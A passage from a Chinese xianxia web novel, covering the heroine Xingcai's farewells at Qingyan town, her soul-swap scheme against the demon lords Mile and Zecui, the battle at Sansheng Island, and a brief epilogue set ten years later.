荇菜轻笑了声，目送金钱离开，看向松口气的禾诗逸：“阿逸，她是个好姑娘。”
禾诗逸撇脸，散掉灵剑后运气平复刚刚的波澜。
荇菜又道：“阿逸，带她们回去吧。我的路还没走完。”
“菜……”禾诗逸转眼咽下她的名字，生了气，却只能默默点头，“保重。”
荇菜目送她拖着伤体离开，喊道：“阿逸，谢谢你。”
禾诗逸没有回头，眼里闪着水光，抬起手挥了挥，拦下即将入青衍镇的金猴姐、瑶姬、西双儿三人。
金猴姐看着禾诗逸一身伤，蹙眉道：“她呢？”
禾诗逸回头望向阴森森的青衍镇，轻声道：“她有自己的道。”
西双儿和瑶姬一左一右抚住禾诗逸。西双儿心疼道：“荇师姐不出来见我们，不同我们回去吗？”
瑶姬叹了声：“双儿，每个人都有自己要走的路。禾师姐伤得很重，我们先送她回青虞。”
西双儿和瑶姬带上禾诗逸直接离去，没再回头。
金猴姐来回踏两步，心下一横，闯入青衍镇，找到那个立在一处小院里的女人。
“小荇！”
荇菜回头见她，如常笑道：“我就知道阿逸拦不下你。这里是项檀家，周老夫人的宅子。没想到数年过去，已经荒废成这样。”
“小荇，人死不能复生，不如让此地人往生。”
荇菜摇头道：“我已经有眉目。裂魂破境的阵法虽只是简单的四柱五行，周边阵眼对应此地天道星宿环，而真正起到媒介得是道祖神识蕴含的功德。他以功德与天道交易，催生遵循自然法意的肉/身躯体。
你的石猴之体也正是他以功德为引，以阵法与天交易而生。”
金猴姐恍然，又道：“但是，这世上还有什么人能有这样大量的功德与天作交易，你要换取得不是一人两人的性命，而是整个青衍镇啊。”
“我封印自己，就是为看清世间真相。以心爱此间万物，入天地同欢道，以还阳功之力尝试救人。
不过，功德作为与天交易的引子，还是需要的。道祖黄椒余下的功德就在元神当中，而元神在泽萃、密勒双尊处。”
荇菜淡淡解
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释完，轻叹口气，“金姐姐，接下来你有什么打算吗？”
“我在这世间游荡得够久了，以前有黄椒在，知道有个老不死同我一样活在世间某处。如今，我想守着你，你去哪，我就去哪。可是，你老失踪，说好得妖猴组合又……”
荇菜轻笑，缓缓地摇头：“羽化生在哪？”
“他已经集结力量，出海攻打三生道。难不成你还要回去啊？”
荇菜点头：“昆山一战，泽萃被诛神剑刺伤，我曾经亲自试探过他的伤势，算算时间应该已经恢复。现在密勒心神失守，正是借他回去邀功的好时机。
羽化生这战很难取胜，不能让好不容易恢复点实力的修真界再次死伤惨重。”
“我陪你去。”
荇菜按住她，安抚道：“天行现在是天下女帝，非常了不得。我本以为你认她做妹妹，会在她的身边相助一二呢。”
“从海外归来后，我随她上青虞宗。没多久，她就下山继承皇位，而我被留在山里看山头。你别跟我提她。”
“我想说，她身边信得过就一个北冥，可信之人太少。玲珑也是我的好姐妹，她的孩子我得帮她看住了。你帮我去山泽，在暗中护着她，可好？拜托了，金姐姐！”
“我知道你是不想让我跟你去三生岛，怕泽萃那魔人狠起来什么人都杀。行行行……我在山泽都城开家金器店，若是那些反泽复国的人联合起来攻进皇宫，我就进去帮你把人偷出来，成了吧？”
“呵呵呵……多谢金姐姐。”荇菜莞尔，随她一起走到青衍镇外，“金姐姐，天下无不散筵席，珍重。”
“你也是啊。你一定要来山泽都城找我。不然，我……怕她皇朝都给掀了。”
“你不会。你也疼天行。”
荇菜目送金猴姐飞跑离去，回首天黑下宛如墨色的青衍镇，“蕙永，我会再回来，那时，定让你重见天日。”
荇菜离开青衍镇后即将跨海，半道被贺喜拦路。
贺喜拦着荇菜的前路，死瞪着他，半响才道：“青柑尊宗主的命令前去找你回青衍镇，既然你已经恢复记忆，那他人呢？”
“死了。我杀的。”荇菜说完，绕过贺喜，察觉背后袭来法器，翻身避开，肃容转身，“你想与我为敌？”
“我是打不过你。但是，你杀死我的弟子，不遵妇道，欺辱我的朋友……我就有权利……”
“又是这套……”荇菜都懒得听他废话，朝一旁的空间处道，“你们再不把他带走，我不介意他也死在这。”
清欢宗主和水幻仙子一起出现，水幻念叨：“我就说这法子行不通，她要走，靠贺喜闹能拦下人？哼。”
清欢宗主摸摸鼻子，挪步上前。
水幻仙子的菱纱卷住冲动的贺喜，唾他道：“你还想替青柑报仇？不先掂量下自己的实力啊。”
清欢宗主任由两个长老去闹，行礼道：“师叔，半月尊者希望你能回去。”
荇菜见他有礼，便解释了句：“青柑以五色生情水为引，想要炼化本尊为他的床奴。我杀了他，不为过吧？”
“不不不……杀得好。”清欢宗主立时改口，“尊者那……”
水幻仙子和贺喜不闹了。贺喜愣了下道：“不可能。青柑怎么可能做这种事？他为人老实，做事敬小慎微，在天龙道被屠一战中都能活下来……你和他实力悬殊，他怎么可能对你做这种事？”
水幻仙子踢了贺喜一脚：“你忘记她失忆啊。再说，老实人把老实写脸上就真老实啊？老实人会炼五色生情水，制作性//奴吗？这五色生情水需要的药材可不简单。若是他收集过这些奇药，必留痕迹，你好好想想吧。”
贺喜就想起不久前听说妖女在三生道宠冠魔宫，忍不住为死去的兄弟花涟不平，念叨句：这个女人这么闹，不如给她下五色生情水……那会青柑就在旁边，还问了炼制药方……
他瞬间哑口，面有惭色。
水幻仙子就知道贺喜肯定在无形中助长青柑的痴心妄想，直接翻个白眼。
“徒弟效其师啊。”
荇菜不追究贺喜的事，全看在花涟的面上，朝清欢道：“回去告诉师尊，我已经通过她的考核，也已经入天地同欢的道境。接下来，我自己的路自己走。”
又看了眼水幻和贺喜，颔首后跨步离去。
三人一前一后目送她向海外飞去。清欢叹了声：“我们与她已经不在同一层次。”
水幻轻舒口气：“谁说不是呢。明明比我们年纪小、资历浅，却一步步走到我们前面。我怎么有种老了走不动的感觉呢。”
贺喜哼了声：“我没老。我还年轻，还能再收个徒弟好好教导呢。”
水幻睨他：“你还不如玲珑的徒弟，放弃修真界，成为山泽宰辅，也算是一条大道。”
三人互相吐着槽，你一句我一句聊着，返回合欢宗。
130. 第 130 章
荇菜横跨无尽海，与风同行，与天同游，对此方世间生出全新的感觉。
封印记忆后在此界生活，爱上此间万物，有如家如旅的所属感。
再有那些故人：致力于将功补过、以余生救天下人的欧阳燕歌；护宗护苍生为己任的九阳；挂念人情而奔波余生的黑珠先生；即使身为木偶，也想努力照顾主人的银亚。重情重义的禾诗逸、金姐姐、瑶姬等人，另有合欢宗众人的同门情。
他们就在身边，却因荇菜过去一念执情而被忽略、不在意，曾为她道上利用的存在……
如今想来，人情事暖，此中有悲有情，舍身忘死者比比皆是。
他们具是真情、真意换真心。
荇菜飘立海面，周身灵场与天地调和。海中游鱼聚集在脚下，争相吸取她散溢的还阳灵力。
“人情道义生我，我以法意返璞归真。
那么，我爱上这个世界吗？”
“我爱她们，甚至爱黄椒这般的存在。
但是，我依然有我自己要走的路、需要抵达的彼岸。
此心此情无关此间情、爱，只因我有念未圆，而已！”
荇菜意念通达，周身浮动金光法意，修罗法相具象而出，却在成形时喟然巨变，化为天女慈悲像。神女法相背负诛神魂剑，潋滟明眸紫中带金，广若浩瀚海洋，深若紫雾星云，赤足虚浮，宛若神坠人间。
这是一体双生法相，仰首修罗杀神，俯首神女悯世，乃是修罗合欢道和天地同欢道的合合相生之意，也是她的道境，杀伐和慈悲并体而行。
明晰的道境，法意的通达，让她的修为直破大乘境。
三生岛的周围海上，旌旗猎猎，战船如云。
鸥鹭掠过大船，停在桅杆上发出惊耳鸣声。
船上的修士们杀气如荼，烧得鸥鹭惊飞而起，掠过海面，飞向三生道十府城。
“嘎嘎嘎……”一声声惊怕的叫声，提醒三生岛上的人：战争即将来临。
魔宫大殿上，十府城主争论不休，或战或防或退，提出各种方案。
你一言我一语没有个定论。
吵成一团时，落河主请出退隐的道璇玑，提议她去魔窟请魔主泽萃出关。
众人纷纷响应此声。
道璇玑如戟般站着，英气逼人的脸上满是嘲讽。
“与其求我，不如求魔后。她不是在蛛皇林闭关吗？”
龙黄主喊道：“当年若不是……若魔后肯增援昆山，天生大陆的大半山土早已落入我三生道手中，哪轮到崔洧的丫头片子当个狗屁女帝，也不至于让羽化生等人卷土重来。”
魔牛主听后直接呸了声：“尊她魔后，她也配？合欢妖女把魔主缠得五迷三道，连魔宫莲印都给她，在紧要关头按下兵马不动。龙黄，你也不是好东西，惧怕魔后进谗言，退出昆山战事。”
龙黄主叫屈：“这能怪我吗？我在前面打战，她在后面约谈你们府主，鬼晓得会不会把我和圭酉落在外面自生自灭。”
圭酉主喊道：“要我说，她就是羽化生派来的卧底。前脚放出道生花，杀了孚蛟。后脚约谈府主，不予支援，简直是毁魔主的宏图霸业。”
场中人落河主想要帮荇菜说句话，也不敢插上嘴。在这样内忧外患的形势下，十府城主有一个共同争对的目标就可以暂时达成平衡状态。所有人就一致争对魔后荇菜。
道璇玑对此冷眼旁观，坐山观虎斗。
龙黄主再喊：“魔后呢？当初说得好听，以魔主莲印执政，如今她连影子都不出现。难道她真去闭关了？”
众人闻声盯向落河主。
圭酉先道：“落河主，你说魔后呢？天龙道余孽大军压境，魔后不该出来主持战事？”
落河主面泛为难，挣扎半响：“魔后陛下她……她不在蛛皇林啊。我……我也不知道她去哪。”
魔牛主大声嗤笑：“她去了哪？这等合欢妖女当然趁魔主闭关去外面逍遥快活。龙黄，听闻三首国公主与妖女长得一模一样，你就说她是不是借身份去外面勾三搭四……”
暗处的荇菜轻嗤了声，吓得大殿里的众人转头四顾，寻找声音来处。
魔牛一下子跪在地上，连袭击的人都没看清，就被歪脸打了一巴掌。他要跳起来大喊，却被眼疾手快的龙黄主按在肩头。
龙黄主镇定道：“别轻举妄动。她有莲印。”
大殿里很快安静下来，传来荇菜的惑人笑声。
“呵呵……哈哈哈……本尊还在呢。本尊就去魔窟请魔主出关，尔等再污言秽语，后果自负。”荇菜没有露面，转身前往落日崖下的牢狱。
她立在曾经关押道生花的地牢外，催动刻在墙面、底下、四周的诛神卦阵。道生花曾言，这地方的阵法是为密勒、金沙准备，如今算是派上用场。
密勒尊者被放出蜃珠洞境，落在此处地牢。
他清醒地看着荇菜，张口无声，眼里空落落不知在想什么。
荇菜知道他在透过自己的脸寻找瑞玉安的影子，施施然站着让他看，勾唇道：“算算时间，泽萃应该已经出关。如今羽化生带人压境，泽萃不出面主持大局，不知道在等什么。
你和他同为四尊之一，你猜他想做什么？”
密勒尊者转脸，不再看这张本属于瑞玉安的脸。相同的容貌，神情姿态不同，就完全变了人样。
“密勒，你倒是让我明白什么叫‘永远叫不醒一个试图装睡的人’。你爱上瑞玉安带给你的情绪，沉溺进瑞玉安的纯真善良。
那样好得她却遇上内心疯执得你。
她跑向你时怀揣热情，期待被你拯救，迎来得却是你蓄谋已久的刀锋利刃。”
“别说了……”密勒尊者的脸色溃败，失力般往后退。
“呵，为何不说？你知道自己为什么会输得一败涂地吗？因为你曾经痛过，害怕再次作痛。你的胆怯和懦弱害死她。你是凶手，你是杀死瑞玉安的凶手。”
密勒尊者退到墙角，失意般蹲下去，抱紧自身。
荇菜以一个胜利者的姿态俯视他,往后退了一步，环顾四周墙上流淌的阵法纹路，哼道：“这处地牢刻画诛神卦阵。当年你们四尊合力逼迫道祖黄椒裂魂散神的阵法。
如今，你站在这，感觉如何？”
密勒尊者哆嗦了下，将脸面深深地埋入膝盖。
“你曾经说过，你与道祖黄椒做了交易，本尊想知道你们做了什么交易？”荇菜发现密勒已经沉浸在自我情绪中，不得不以瑞玉安糯叽叽的声音唤道，“银度，你不再看看我吗？”
密勒尊者倏然抬头，眼神复杂地看着荇菜，颤着唇轻声道：“十方山寺上空，道祖裂魂散神前剥夺皎月的神识，我生出退意。
那一刻，道祖的声音传入我的识海，从金色大阵上传来。
他说：当年我被制作成人偶，是他以功德救我。如今，若我想要成为可以感知情感的人，就必须重塑法身，再以元神之力催生感知能力，而此法需要以功德向天换取机会。”
“什么机会？”荇菜紧问道。
密勒尊者摇头，扶着墙站起身。
“他没有说，我也不在意。元神碎片还没入体，我就听到泽萃魔莲里传出的声音。那是你的声音，让我有些感觉。之后，我就莫名其妙答应道祖的交易。
为此，我没有杀长恨，只是重伤他。”
“故弄玄虚。”荇菜嘀咕一句，又道，“你的千丝去了哪？”
“呵，你不是问泽萃为什么不出现吗？千丝结阵，冰露为引，封住莲泉内外通道。你猜他若想离开魔窟，能不能完好脱身？万毒冰露落进莲泉，被莲泉里的魔莲吸收，你猜对他有没有影响？
魔域黑莲可是他的伴生法器，吸收莲泉池水，也就吸入冰露毒素。以他谨慎的性子，岂会轻易离开魔窟。”
密勒尊者的眼神越来越复杂，突然跪下来，“你拿走吧。这元神，我不要了。”
荇菜哑然，哂笑了声：“呵，这一刻，我明白道祖给你的机会是什么了。妖尊的怜悯。”
勾起泽萃的下颚，对上他翠绿环金的空茫眼瞳，“我会把泽萃带来。那是你对瑞玉安最后的忏悔和自我救赎。”
“是。若你怜悯，我还能再见到她……见到她……”
密勒尊者闭上眼睛，落下两滴泪，乖觉地靠坐在墙根。
荇菜离开地牢，前往魔窟，被两名孚龙战将阻拦，分别是鸱吻和蚩丸。
“魔后陛下，您不能进去。”鸱吻持戟拦道。
荇菜凝出掌心的魔莲印记，逼得两人一步步后退让开道。
待她踏入魔窟，回首道：“孚龙战将已经八不存四，你们两人倒是忠心，一直守在这，却不知魔宫那边已经闹翻天。魔主平安出来，却发现三生岛已经没了，不知道会不会问你二人的责。”
鸱吻和蚩丸面面相觑，依旧死守在魔窟入口。
“冥顽不灵。”荇菜落下四字，踏入魔窟深处的阴寒之地。
泉池中央的黑莲台上坐着一道人影，宛如鬼魅的眼瞳死死地盯着来人。
荇菜勾唇含笑，在即将进入千丝的攻击范围时堪堪停步。她的眼神下落，看到割在脖子前的银丝。
若不是密勒提醒过，当真会一个不慎死在此地。
万千银丝中，泽萃以一袭黑袍坐在魔莲花台，平静无波道：
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“你的修为长进了。”
荇菜挑眉，抬脚又往前进，这一步若近，脖子必被千丝划破，命丧当场。
泽萃终于动了，一道魔力穿过重重银丝，击打在荇菜左肩，迫她后退两步。
“不要命了？”
荇菜环顾切割魔力的无数密密麻麻银丝，蹙眉道：“亲爱的，这些银丝好厉害，竟然将你打出的魔力削弱七成。不过，它们当真就困得住你？”
泽萃的神色轻松了些，阴郁的眼神没再盯着荇菜，抬袖一挥，理了理袍子。
“你还没回答本主的问题。”
这个女人依旧是这么美。当初为什么非要得到她呢？
为证明比道祖黄椒更厉害，更像个神灵。
可笑！神真得会因为情爱驻足吗？
这个女人是黄椒放在世间的毒，迷惑他人的饵。
“亲爱的你在里面，本尊身为魔后当然要来找你。何况，我相信，你能保护好我。”荇菜嫣然一笑，细细地观察起这些银丝。
这些千丝乃是密勒尊者的本命法器，等同经络。密勒尊者想要拦下泽萃，就一定能拦下他，想要放他出去，必然也可以做到。
泽萃的眼神松弛了些，睨着荇菜的美貌，散漫道：“除非他亲自来取这些银丝，否则出不去。”
荇菜微顿，展颜道：“那可太好了。他人就在地宫的地牢。可是，我怕把他放出来就抓不住他。毕竟那地牢的阵法着实厉害，关人困人可是一绝，而他的修为也实在太高了。”
“你说什么？”泽萃的神情瞬间严厉，死盯在荇菜的脸上，好似在确认她话的可信度。
“人在地宫、关押道生花的牢里。你闭关后，我闲着无聊也去蛛皇林闭关。谁知有天醒来就什么都不记得，被人唤作瑞玉安公主……哎呀，真是个老长的故事。
后来，我在故友的帮助下清醒。
哎，你知我的性情，有仇不报非妖女。我把他骗进地牢。你猜，我是怎么成功呢？”
傲娇的小脸好似在等待邀功。但是，对于泽萃来说，妖女如何抓住密勒根本不重要。重要得是三魂之一的元神就在地宫，这是绝佳夺取道祖元神的机会。
泽萃管不得荇菜的碎碎念，环顾面前烦人的千丝，只想快点找到突破口出去。
这个瞬间，他想到移魂换体之法。
但是，妖女肯被困在此处吗？
泽萃的眼神微微含厉，状似犹疑：“你当真抓住密勒那家伙？”
“当然，人就在地宫。我……要怎么救你出来？你不能直接横渡空间吗？”
泽萃轻笑，笑她无知。“你试试能不能到本尊这来。”
荇菜的眼神微利，视线观微。
本该两点一线的空间道路被生生割裂出无数碎片。若是莽撞强入，说不定会落进无尽虚空，横飞星域。
那样将危机重重，甚至有可能寻不回来。
泽萃多疑，必不敢赌此法。所以，他留在原地不动。但是，黄椒元神碎片的诱惑太强，必会让他不择手段出来。
“亲爱的，这千丝当真是奇妙啊，竟有封锁空域之能。”
泽萃冷笑：“你猜当初黄椒为什么没能及时赶回天龙道浮空岛支援，正是密勒的千丝之威封空锁域，加上诛神卦阵隔离天道感应。”
压下那些无用的话，他淡定道，“听说你阻止龙黄、圭酉攻打昆道宗，以至于让羽化生集结力量反攻三生道。”
“呃……这是失误。我……不懂战术嘛，当时你又闭关，担心你不在，被他们……”
“金沙是怎么死？”泽萃紧接道。
荇菜微顿，神色显出一丝慌张，张眸露了痴相：“他……是四尊之一，死了吗？难道那天我看到得是……”
“你看到什么？”
“密勒……他……”
“金沙的元神被密勒所得？”泽萃理所当然这样想，快口道，“难怪他敢孤身上岛劫你。这个家伙……本主突然有兴趣知道你是怎么诱他入地牢。你近些……”
荇菜的心微悸，感应到危险。她很快调整心态，缓步上前……
刹那之间，神魂好似被一股力量拉扯，转眼之间，荇菜感觉眼前一黑，再睁开时已经处在泽萃所在的莲台，被无数千丝包围。
而她看到自己的身体往后退了两步，露出阴郁狠厉的笑容。
“魔后，此换魂之法可以施展三日。待本主吃掉密勒元神，就来救你出去。你安心待在这，看顾好本尊法体。”
荇菜目送他疾步离开，缓缓地勾起唇角。
这就是百密一疏吗？泽萃，你放弃了自己最强的保护呢。半斤八两，就看你们鹿死谁手！
131. 第 131 章
荇菜的神魂待在泽萃的法体内，由着泽萃使用自己的法体带鸱吻和蚩丸离去。
她盘坐魔莲台，观神入识海境。这是窥探泽萃识海的最好机会，种下蜃珠植幻的种子。倘若泽萃真得杀了密勒尊者，待元神回归身体后也能借机除掉他。
泽萃为人性邪，杀性重且多疑。
阴暗晦涩的识海内竟有一处类同浮空岛天池的干净地方，气息清冽，像晕染墨汁的纸张中留着一片白，奇怪又难得。
荇菜的神魂站在这处白色的天池边，居高望远，所见不是浮空岛下的山河湖海，而是昏天黑地。
“这就是泽萃没有完全成魔的原因。天池是他的出生地，保留道祖对他最初的祝福。”
这种祝福是一种束缚，像金沙想拿金钱祭剑开锋，却不可能真正实现；密勒尊者被制作成千丝人偶，心有怨恨，但也不可能把别人制成有魂人偶；皎月也无法彻底吞噬欧阳燕歌的元神，借他躯体获得自由；泽萃也因这片识海净地而无法彻底入魔。
荇菜哂笑了声，对道祖黄椒越了解越觉得他深不可测，处处着墨，各种机会留一线之机。
思量之下，荇菜先以神牵之术奔出魔窟，潜入地牢。
“荇菜”身体里的泽萃没有直接进入绘刻诛神卦阵的地牢。他运用诛神卦阵的运转之法消耗地牢里的密勒尊者的法力。
一时半刻过去，泽萃谨慎地进入牢房，看着被阵法悬吊的密勒，冷声道：“密勒尊者，没有力量，再次被人摆布的滋味如何啊？没有千丝，再无法力，身无经络和力量得你犹如弱小可怜的软体蠕虫，简直弱不可闻。哈哈哈……”
密勒尊者自是痛不欲生，但他心如死灰，没有表现得太让泽萃满意，有气无力道：“你要元神就拿去吧。”
泽萃本是要动手，闻言心生疑虑，竟迟疑起来。
这须臾的功夫，密勒尊者的观微眼神落在施展神牵之术的荇菜神魂，想起当初昆山一战时，这个妖女就是凭借这种手段截取金沙，获取他的元神碎片。
他张口无声，向神牵之术的方向传出一道隐秘的口诀。
荇菜微动神识，将神牵之术以一化二，一缕返回魔窟深处，一缕继续留在地牢观察战况。
泽萃迟疑过后，心知机会难得。若是让密勒有机会离开地牢，恐难再捉住他。一不做二不休，泽萃旋手法力吸取密勒元神离体。
“啊……”密勒尊者本能地抗拒这股拉扯元神的力量，翠绿环金的眼瞳恶狠狠地盯向泽萃，眼里随时间流逝渐生一股绝望：真得再无法看到瑞玉安吗？
另一边，神牵之术回归一缕。
荇菜从魔莲台上起身，旋手密勒尊者教的法诀，收起缠绕泉池周围的千丝法器。
她把千丝法器收入泽萃的法体识海，形成内在得千丝万缕禁锢阵。
完成此事后，她才敢疾步向地牢跃去。
护法的蚩丸和鸱吻见到泽萃的法体，一点不敢阻拦，放荇菜长驱直入。
“亲爱的……你的身体。”
密勒，舍弃法身入我法体，元神融入天地同心命契。本尊保证你能再见到瑞玉安。
密勒看到奔来的泽萃法体，实则是荇菜，读懂她的肢体语言。他朝野心勃勃的泽萃森然一笑，闭目间，法体垂落，留下一具瘫软内凹的尸体，而元神直入荇菜的法体，与泽萃的元神一起出现在荇菜法体的识海。
这功夫，荇菜当即脱离泽萃的法体，回归自身身体。一时间，三道元神立在荇菜的识海，各据一方对峙起来。
泽萃眯眸看向红裙潋滟的荇菜，元神发声：“本主的魔后，此处是你的主场，你以神识牵制他，待本主吞噬掉此元神，就是天下最厉害的神人。本主会让世人、三界尊你为神王之妻，神后尊位。”
“呵……”荇菜忍不住笑出声，好像被他的话打动。她撩起眸，睨向另一侧的密勒元神，“密勒，神后尊位天地独一份，不如你……束手就擒吧。”
泽萃闻声自是满意非常。
密勒深深地看眼两人，再次发出一声冷笑。
妖女怎么可能是瑞玉安？
瑞玉安经历种种真得会变成这样的妖女吗？不可能！
他自嘲般笑了声，元神之力击打向荇菜的识海上空，显露一道碎成三片的天地同心阵法，而阵法之上游走一道虚虚实实的元神阵，上面金光游离，似有生机。
密勒瞬间想到：这是金沙得那片元神。
这刻，他又想起与道祖黄椒的交易，深深地看向荇菜的方向：“你答应我，就不可反悔。否则，我的元神意志会毁了此处。”
话音一路，不管泽萃袭来的魔莲，直接化光投入阵法当中。
“不要！”泽萃大喊一声，急切追去。
荇菜旋聚识海之力，宛如排山倒海之势纠缠上泽萃的元神，手持诛神魂剑紧随而上。
泽萃低首看向识海之力袭来，这个女人已经图穷匕首见，心中愤怒犹如火山爆发：“你这个女人，当真是养不熟的白眼狼。本主如此信任你，你却背信弃义。”
他凝聚元神之力击退荇菜的识海之力，再奔向天地同心魂契的上方，甚至生出摧毁这阵法，让这个女人彻底死去的决心。
“嗤！”荇菜的回答是一套炙阳剑法，以阳梧山火海之势轰击泽萃。而泽萃堪堪够到天地同心魂契，就发现魂契和上方的阵法一起隐退，消失不见。
泽萃呲目欲裂地瞪向荇菜，躲过她的剑法，直逼她的元神。
千钧一发之际，泽萃法体内的千丝阵收缩，搅弄泽萃识海，连带他的元神都受到影响。
法体自发召唤回泽萃的元神护体，眨眼之间，泽萃的元神消失在荇菜的识海。
两人的元神各自归位，一睁眼就是至强杀招。魔莲法身成型，而荇菜的修罗法相持魂剑出现。
法相之光映红三生岛。十府城城民、各府主都看到对峙的男女法相：谁这么强，可以和魔主进行法相对杀的状态？
与此同时，羽化生带领的人也得到消息，趁此机会攻上海岛。十府城主纷纷带人应战，或逃或战，洋相百出，各有应对。
道璇玑拉住落河主，吼道：“你逃什么？退回蛛皇岛能独善其身吗？给我杀。”
龙黄主、魔牛主、圭酉主，以及蚩丸，鸱吻等孚龙战将都加入战斗。
一时间，三生岛各地喊杀声不断、哀鸿声更甚天龙道浮空岛一战。正如荇菜曾经说得，战争不可避免会波及无辜者，三生道各岛百姓纷纷躲起来，来不及躲得也只能持戟上战场，死伤不论。
半空的战场上，九阳剑尊和长恨尊者纷纷掠至，一者抚住被击退的荇菜；一者挡在荇菜面前，对上泽萃。
泽萃的眼神黑如墨汁，已经施展出终极的魔王法相，头顶魔莲，威压震慑整片三生岛屿的生灵。
战场上的敌我两方有片刻被魔主的威压辐射，道璇玑等人气势更甚，而交战的羽化生一方略显颓势。
荇菜看到岛上的战况，祭出万音铃里的长月剑，催动之后抛入下方战场。
长月剑金光耀目，震散魔主威压。
羽化生等人气势大震，高声喊道：“大家别怕。这是道祖法剑长月，道祖福佑天下，相助吾等。世净宗弟子听令，不清除魔修党羽，誓死不回大陆。杀！”
众人纷纷响应：
“为天龙道弟子、岛民报仇。”
“为昆道宗战死的弟子报仇！”
“为大陆无辜百姓报仇！杀啊……”
泽萃的眼神越发阴寒，死死盯向荇菜：“本主竟不知魔后还有回归正道一天。”
“呵，你不知道的事多着呢。”荇菜并指唇前，默念密勒传授得控制千丝的法诀，趁泽萃蹙眉闭目，朝长恨、九阳剑尊喊道，“趁现在，上。”
三方鼎立，以毕生至强之力轰然斩向泽萃。泽萃把魔王法相悬置身前，魔莲置后阻挡袭来的最强攻击，而他本体对上荇菜烈焰如荼的炙阳剑气。
泽萃闷哼了一声，赫然发现法相和魔莲挡住九阳、长恨的攻击，自己也阻止荇菜，却不想凤翎携涅槃火插入肚腹位置。
“怎么会？”
荇菜抹掉唇边的血迹，哼笑道：“你当本尊是随便睡你吗？你我每一次合欢，本尊就吸取你的气息凝为气息珠，等得就是这一刻。火翎携带你的气息，自然能突破你的法防，甚至不被你察觉。”
“你这个女人……啊……”泽萃仰首，周身燃起汹汹黑煞魔气，祭出魔莲和魔王法相攻向长恨和九阳。
两人瞬间被击飞出去。
泽萃瞬移，迫近荇菜，死死地捏住退防不及的荇菜脖子，把人提拉起来。
“死！”
荇菜白皙的脸色已经嫣红泛起血色，双手抓住泽萃捏在脖子的手。
两人的修为差两个大境，很难对付得了泽萃。即使他的识海已经被千丝困守，真实的实力也削弱不了多少。
这个人一定有弱点！金沙的功法罩门，密勒的性情漏洞。那泽萃的弱点是什么……是欲望！他要超过黄椒，黄椒就是他的克星。<
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“呵……”荇菜暗哑地笑起来，敛起紫光暗金的眸子对上泽萃的森寒眼神，“亲爱的，你真得要杀了我吗？我可是道祖黄椒签下契约的道侣。”
“打不过就示弱。你真是无耻的女人。”泽萃毫不留情地羞辱她。
“嗬嗬……”赤足上的万音铃微动，百铃齐震，晃了泽萃的神智须臾。而这须臾，破碎的修罗法相旋身一转，变成神女悲悯之相。
泽萃被神女相里暗藏的黄椒元神之力吸引，抬首间望入神女法相的终极紫眸。
眨眼不到的时间内，荇菜催动种在泽萃识海里的幻术种子。
入幻的泽萃一下子松开荇菜的脖子，环顾四周，似已经俯视天下众生。
所有人朝神座上的泽萃跪服行礼，大声喊着“泽萃道祖万世长春。”
“呵……呵……哈哈哈哈……”入幻的泽萃大笑起来。
趁此机会，荇菜、九阳、长恨三人再次结阵，荇菜以神女法相手持诸神魂剑，手持长月剑狠狠地斩向泽萃。
九阳剑尊以至强一击的纯阳剑直刺泽萃心脏。
长恨更是以至强拳气轰向泽萃百骸穴位。
轰然一声，泽萃周身法防炸裂，从幻术里清醒过来。这片刻功夫，长月剑直刺入丹府元婴，而诛神魂剑穿破他的额心神门。
“呵，凭你们也想杀本主？皎月已死，金沙道亡，密勒魂消，天下已无人是我对手。啊……”魔气再次喷涌而出，识海里唯一的净土也彻底被魔气染黑。
泽萃一拳击向荇菜的心口，被瞬移而来的九阳剑尊持剑挡下。
“噗……”九阳的血洒向天空大地，被身后的荇菜接住，英俊的脸上伤痕累累，污了一头白发，“你……快走。”
“我不可能走。”荇菜含恨看向翻涌魔气走来的泽萃，“他已彻底入魔，我们谁都逃不了，只有杀了他唯。这是唯一的活路。”
天色已经擦黑，苍穹露出朦胧的星子。
岛上的战场上渐分胜负，羽化生等人击退道璇玑众人。
他把战场交给欧阳燕歌主持，自己旋身而起，足踏星点。
“尊后，此乃十方星环的困杀之阵，曾经将道祖困在此方空间。不过，我画出得是衍生之阵，威力远不如真正的十方星环，只能困他须臾。”
“须臾？”荇菜想要说不够。但是，九阳、长恨，破空出现的半月尊者、九霄剑尊、九玄剑尊，以及金钱宗主齐齐就位……他们足踏羽化生的阵眼，以至强之力攻向阵中的泽萃。
轰然一声，灵力和魔气辐散天地，联盟修士、十府城主和魔军皆被这股力量的余波波及，颓倒一片。
众人本是松了口气，却发现泽萃的魔王法相头顶魔莲，依旧完好不碎。所有人的眼神露出惊恐和炸裂，也露出后退的心思。
泽萃的手向上举着。众人顺他的方向看到法相破碎的荇菜，一时惊惶不定。
半月尊者更是喊道：“徒儿，你怎么样？”
荇菜露出戚戚然色，这个泽萃在生死存亡之际，利用元神里的天地同心阵法抵挡一半的伤害。这不，她也惨不忍睹，伤得极重。
“哈哈哈哈……”泽萃狂笑起来，“道祖，你的同心魂契当真是好啊。你们一个个自称正道，真敢杀了本主？本主死，她也活不了。”
荇菜凄楚一笑，还笑出声。
天地一片寂静，仿佛只有她的笑声。笑声豁达明朗，让泽萃都生出一丝半缕的矛盾、可惜之情。
泽萃摇头甩去这惑人之声，阴戾道：“妖女，除了惑术，你还有什么招？”
荇菜呵了声，环顾在场众人，目光落在羽化生处：“本尊好像知道十方星环在哪？”
泽萃露出震惊的神色，而这功夫，荇菜让合欢花钿的器灵何欢带出蜃珠，以蜃珠祭天。在何欢的催动下，蜃珠爆发出星辰之力，自上而下宛如一座星辰巨塔，锁住泽萃和他的法相，以及被他控制的荇菜。
羽化生、长恨皆失声喊道：“十方星环。”
九阳剑尊和半月尊者疾步奔向星环，想要拉出荇菜，却发现十方星环一阵阵收缩变小，直至消失不见。
“徒儿……”
“荇菜……”
众人有片刻的寂静，随之而来四处寻人，却遍寻不得。
羽化生半响才道：“没用的。十方星环乃是至强锁阵，就连道祖都不曾从中脱身……”不对，道祖已经不被十方星环桎梏，难道……
但是，他不敢告诉在场诸人，转身先和欧阳燕歌收拾战局。
132. 第 132 章
自三生岛一战后，修真界已经过去十年。近来，合欢宗附近出一件奇事。
距离合欢宗三十来里的青衍镇本是一处阴森鬼地，却在某一天夜里传出钟鸣后消失不见，连镇上的房屋、石板、河道一起消失。
旁人发现此地的情况，报告给合欢宗。合欢宗派人来查，原本属于青衍镇的地方阳光明媚、草木茂盛，只有一条宽阔马道供世人经过，而再也听不到过往的鬼风呼啸声。
合欢宗弟子把此事上报给宗门。
清欢宗主亲自到场查看，呢喃自语时落下一句话：“师叔她……成功了？她回来了！”
合欢妖尊归回天生大陆的消息不胫而走。
